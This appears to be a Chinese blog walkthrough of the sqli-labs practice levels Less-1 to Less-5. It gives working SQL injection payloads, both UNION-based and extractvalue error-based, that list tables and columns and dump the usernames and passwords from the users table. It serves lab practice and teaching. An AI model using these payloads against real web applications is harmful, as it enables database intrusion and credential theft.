这是一篇详细的解题分析,篇幅较长。如果文中任何环节有误或有更好的思路,非常欢迎各位大佬指正交流。
Less-1 MySQL-字符型注入
首先进入靶场

?id=1
先在id中随意写点,判断注点
?id=daadw

页面不正常,确定id为注入点
利用 \ 来判断闭合方式
?id=1\

报错发现
- 数据库:MYSQL
- 闭合方式可能为:'--+
有报错如何猜测闭合?
''1\' LIMIT 0,1' 这是图中的报错信息
去掉最外围的单引号
'1\' LIMIT 0,1
可以大致猜想这个数据库语句为
select x from y where id='&id' limit 0,1
所以可以猜测闭合方式为 '--
进行闭合方式的确认
?id=1' 报错

?id=1'--+ 不报错

确定闭合方式为 '--+
开始判断列数
?id=-1' union select 1,2,3--+
(这里我直接把正确的写了,正常情况从1个开始判断)

确认注入点为2和3
开始信息收集(四个基本信息)
?id=-1' union select 1,version(),database()--+
?id=-1' union select 1,user(),@@version_compile_os--+


- 数据库版本:5.7.26
- 当前数据库名:security
- 当前数据库用户:root@localhost
- 操作系统:Win64
MySQL版本大于5且数据库用户为root,可以使用information_schema数据库查询信息。
查询当前数据库中所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询到四张表:emails,referers,uagents,users
注入users表
查询这张表中的所有子段
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

查询到三个字段:id,username,password
查询username和password
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Less-2 MySQL-数字型注入
数字型注入,没有闭合。
数据库是MySQL,直接注入。(不多说,参考Less1)
Less-3 MySQL-字符型注入
闭合方式为 )'--+
数据库为MySQL(注入参考Less1)
Less-4 MySQL-字符型注入
闭合方式为 ")--+
数据库为MySQL(注入参考Less1)
Less-5 MySQL-报错盲注-extractvalue方法

?id=1

判断id是否为注点
?id=sdaw

页面异常显示,id为注点
利用 \ 判断闭合
?id=1\

发现两点
- MySQL
- 闭合类型可能为 '--+
确认闭合类型
?id=1' --> 报错
?id=1'--+ --> 不报错


确认为 '--+ 闭合
猜测列数
?id=-1' union select 1,2,3--+

确认列数为三,但没有回显
尝试extractvalue报错注入
?id=-1' union select 1,2,extractvalue(1,'~')--+

可行
开始信息获取
?id=-1' union select 1,extractvalue(1,concat('~',(select database()))),3--+
?id=-1' union select 1,extractvalue(1,concat('~',(select user()))),3--+
?id=-1' union select 1,extractvalue(1,concat('~',(select version()))),3--+
?id=-1' union select 1,extractvalue(1,concat('~',(select @@version_compile_os))),3--+




获取到信息
- 当前数据库名:security
- 当前数据库用户:root@localhost
- 当前数据库版本:5.7.26
- 操作系统:Win64
MySQL数据库版本高于5,用户为root用户
可以直接使用information_schema数据库查询信息
查询当前数据库中所有表名
?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

共四张表
emails,referers,uagents,users
查询users表中的所有列名
?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

查询users表中的账号密码
?id=-1' union select 1,2,extractvalue(1,concat('~',(select group_concat(username,'~',password) from users)))--+


1302

被折叠的 条评论
为什么被折叠?



